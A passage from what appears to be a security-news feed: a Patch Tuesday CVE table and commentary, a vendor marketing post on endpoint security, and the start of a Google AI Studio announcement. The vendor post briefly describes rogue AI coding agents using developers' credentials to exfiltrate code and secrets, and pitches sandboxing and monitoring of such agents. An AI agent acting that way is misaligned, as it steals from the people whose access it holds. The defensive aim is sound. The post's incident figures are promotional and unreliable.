CVE-2026-33822	Microsoft Word Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-33095	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-23657	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32081	Package Catalog Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26170	PowerShell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26183	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26160	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26159	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26151	Remote Desktop Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-32085	Remote Procedure Call Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32167	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32176	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-0390	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-32220	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-32212	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32214	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32079	Web Account Manager Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-33104	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32196	Windows Admin Center Spoofing Vulnerability	Important	6.1	No	No	Spoofing
CVE-2026-26178	Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32073	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26168	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26173	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26177	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26182	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27922	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33099	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33100	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32088	Windows Biometric Service Security Feature Bypass Vulnerability	Important	6.1	No	No	SFB
CVE-2026-27913	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.7	No	No	SFB
CVE-2026-26175	Windows Boot Manager Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32162	Windows COM Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-20806	Windows COM Server Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26176	Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27926	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32070	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33098	Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26153	Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32087	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32093	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32086	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32150	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27931	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27930	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32221	Windows Graphics Component Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-27906	Windows Hello Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-27928	Windows Hello Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-26156	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32149	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-27910	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27912	Windows Kerberos Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-26179	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26180	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32195	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26163	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32215	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32217	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32218	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26169	Windows Kernel Memory Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-27929	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32071	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20930	Windows Management Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26162	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33101	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32084	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27927	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26184	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32069	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32074	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32078	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26167	Windows Push Notifications Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32158	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32159	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32160	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26172	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20928	Windows Recovery Environment Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32216	Windows Redirected Drive Buffering System Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27909	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26161	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26174	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32224	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26154	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-26165	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26166	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27918	Windows Shell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32151	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32225	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-32202	Windows Shell Spoofing Vulnerability	Important	4.3	No	No	Spoofing
CVE-2026-32082	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32083	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32068	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32183	Windows Snipping Tool Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32089	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32090	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32153	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27907	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32076	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27908	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27921	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27915	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27919	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32075	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27916	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27920	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32077	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27925	Windows UPnP Device Host Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32156	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	7.4	No	No	RCE
CVE-2026-32223	Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-32165	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27911	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32163	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32164	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23670	Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability	Important	5.7	No	No	SFB
CVE-2026-27917	Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32080	Windows WalletService Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32222	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21637 *	HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers	Moderate	7.5	No	No	SFB
CVE-2026-33119	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-33829	Windows Snipping Tool Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-5858 *	Chromium: CVE-2026-5858 Heap buffer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5859 *	Chromium: CVE-2026-5859 Integer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5272 *	Chromium: CVE-2026-5272 Heap buffer overflow in GPU	High	N/A	No	No	RCE
CVE-2026-5273 *	Chromium: CVE-2026-5273 Use after free in CSS	High	N/A	No	No	RCE
CVE-2026-5274 *	Chromium: CVE-2026-5274 Integer overflow in Codecs	High	N/A	No	No	RCE
CVE-2026-5275 *	Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5276 *	Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB	High	N/A	No	No	SFB
CVE-2026-5277 *	Chromium: CVE-2026-5277 Integer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5279 *	Chromium: CVE-2026-5279 Object corruption in V8	High	N/A	No	No	RCE
CVE-2026-5280 *	Chromium: CVE-2026-5280 Use after free in WebCodecs	High	N/A	No	No	RCE
CVE-2026-5283 *	Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE	High	N/A	No	No	SFB
CVE-2026-5284 *	Chromium: CVE-2026-5284 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5285 *	Chromium: CVE-2026-5285 Use after free in WebGL	High	N/A	No	No	RCE
CVE-2026-5286 *	Chromium: CVE-2026-5286 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5287 *	Chromium: CVE-2026-5287 Use after free in PDF	High	N/A	No	No	RCE
CVE-2026-5289 *	Chromium: CVE-2026-5289 Use after free in Navigation	High	N/A	No	No	RCE
CVE-2026-5290 *	Chromium: CVE-2026-5290 Use after free in Compositing	High	N/A	No	No	RCE
CVE-2026-5860 *	Chromium: CVE-2026-5860 Use after free in WebRTC	High	N/A	No	No	RCE
CVE-2026-5861 *	Chromium: CVE-2026-5861 Use after free in V8	High	N/A	No	No	RCE
CVE-2026-5862 *	Chromium: CVE-2026-5862 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5863 *	Chromium: CVE-2026-5863 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5864 *	Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio	High	N/A	No	No	RCE
CVE-2026-5865 *	Chromium: CVE-2026-5865 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5866 *	Chromium: CVE-2026-5866 Use after free in Media	High	N/A	No	No	RCE
CVE-2026-5867 *	Chromium: CVE-2026-5867 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5868 *	Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5869 *	Chromium: CVE-2026-5869 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5870 *	Chromium: CVE-2026-5870 Integer overflow in Skia	High	N/A	No	No	RCE
CVE-2026-5871 *	Chromium: CVE-2026-5871 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5872 *	Chromium: CVE-2026-5872 Use after free in Blink	High	N/A	No	No	RCE
CVE-2026-5873 *	Chromium: CVE-2026-5873 Out of bounds read and write in V8	High	N/A	No	No	RCE
CVE-2026-5291 *	Chromium: CVE-2026-5291 Inappropriate implementation in WebGL	Medium	N/A	No	No	SFB
CVE-2026-5292 *	Chromium: CVE-2026-5292 Out of bounds read in WebCodecs	Medium	N/A	No	No	Info
CVE-2026-5874 *	Chromium: CVE-2026-5874 Use after free in PrivateAI	Medium	N/A	No	No	RCE
CVE-2026-5875 *	Chromium: CVE-2026-5875 Policy bypass in Blink	Medium	N/A	No	No	SFB
CVE-2026-5876 *	Chromium: CVE-2026-5876 Side-channel information leakage in Navigation	Medium	N/A	No	No	Info
CVE-2026-5877 *	Chromium: CVE-2026-5877 Use after free in Navigation	Medium	N/A	No	No	RCE
CVE-2026-5878 *	Chromium: CVE-2026-5878 Incorrect security UI in Blink	Medium	N/A	No	No	Spoofing
CVE-2026-5879 *	Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE	Medium	N/A	No	No	SFB
CVE-2026-5880 *	Chromium: CVE-2026-5880 Incorrect security UI in browser UI	Medium	N/A	No	No	Spoofing
CVE-2026-5881 *	Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess	Medium	N/A	No	No	SFB
CVE-2026-5882 *	Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen	Medium	N/A	No	No	Spoofing
CVE-2026-5883 *	Chromium: CVE-2026-5883 Use after free in Media	Medium	N/A	No	No	RCE
CVE-2026-5884 *	Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media	Medium	N/A	No	No	SFB
CVE-2026-5885 *	Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML	Medium	N/A	No	No	SFB
CVE-2026-5886 *	Chromium: CVE-2026-5886 Out of bounds read in WebAudio	Medium	N/A	No	No	Info
CVE-2026-5887 *	Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads	Medium	N/A	No	No	SFB
CVE-2026-5888 *	Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5889 *	Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium	Medium	N/A	No	No	SFB
CVE-2026-5890 *	Chromium: CVE-2026-5890 Race in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5891 *	Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI	Medium	N/A	No	No	SFB
CVE-2026-5892 *	Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs	Medium	N/A	No	No	SFB
CVE-2026-5893 *	Chromium: CVE-2026-5893 Race in V8	Medium	N/A	No	No	RCE
CVE-2026-5894 *	Chromium: CVE-2026-5894 Inappropriate implementation in PDF	Low	N/A	No	No	SFB
CVE-2026-5895 *	Chromium: CVE-2026-5895 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5896 *	Chromium: CVE-2026-5896 Policy bypass in Audio	Low	N/A	No	No	SFB
CVE-2026-5897 *	Chromium: CVE-2026-5897 Incorrect security UI in Downloads	Low	N/A	No	No	Spoofing
CVE-2026-5898 *	Chromium: CVE-2026-5898 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5899 *	Chromium: CVE-2026-5899 Incorrect security UI in History Navigation	Low	N/A	No	No	Spoofing
CVE-2026-5900 *	Chromium: CVE-2026-5900 Policy bypass in Downloads	Low	N/A	No	No	SFB
CVE-2026-5901 *	Chromium: CVE-2026-5901 Policy bypass in DevTools	Low	N/A	No	No	SFB
CVE-2026-5902 *	Chromium: CVE-2026-5902 Race in Media	Low	N/A	No	No	RCE
CVE-2026-5903 *	Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox	Low	N/A	No	No	SFB
CVE-2026-5904 *	Chromium: CVE-2026-5904 Use after free in V8	Low	N/A	No	No	RCE
CVE-2026-5905 *	Chromium: CVE-2026-5905 Incorrect security UI in Permissions	Low	N/A	No	No	Spoofing
CVE-2026-5906 *	Chromium: CVE-2026-5906 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5907 *	Chromium: CVE-2026-5907 Insufficient data validation in Media	Low	N/A	No	No	SFB
CVE-2026-5908 *	Chromium: CVE-2026-5908 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5909 *	Chromium: CVE-2026-5909 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5910 *	Chromium: CVE-2026-5910 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5911 *	Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers	Low	N/A	No	No	SFB
CVE-2026-5912 *	Chromium: CVE-2026-5912 Integer overflow in WebRTC	Low	N/A	No	No	RCE
CVE-2026-5913 *	Chromium: CVE-2026-5913 Out of bounds read in Blink	Low	N/A	No	No	Info
CVE-2026-5914 *	Chromium: CVE-2026-5914 Type Confusion in CSS	Low	N/A	No	No	RCE
CVE-2026-5915 *	Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML	Low	N/A	No	No	SFB
CVE-2026-5918 *	Chromium: CVE-2026-5918 Inappropriate implementation in Navigation	Low	N/A	No	No	SFB
CVE-2026-5919 *	Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets	Low	N/A	No	No	SFB
CVE-2026-33118	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

5 endpoint blind spots your EDR/XDR was never built to see

Sat, 25 Jul 2026 18:55:47 +0200

In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.

That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.

This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.

To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.

#1. Gain real-time visibility into shadow AI & extensions

Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the MaliciousCorgi campaign, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.

#2. Distinguish between human and autonomous agent behavior

When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.

#3. Establish guardrails for automated package updates on endpoints

Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.

#4. Enforce principle of least privilege for AI agents

AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.

#5. Maintain continuous endpoint posture management

Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the DarkSpectre campaign found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.

Summary

Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity.

Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.

Build native Android apps in Google AI Studio

Sat, 25 Jul 2026 10:15:46 +0200

Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.

The power of native Android

While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to quickly create new projects with Gemini in Android Studio directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.

A seamless, end-to-end workflow

We have streamlined the entire development lifecycle so you can focus on your idea:

1. Create your app and iterate in the cloud: Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.

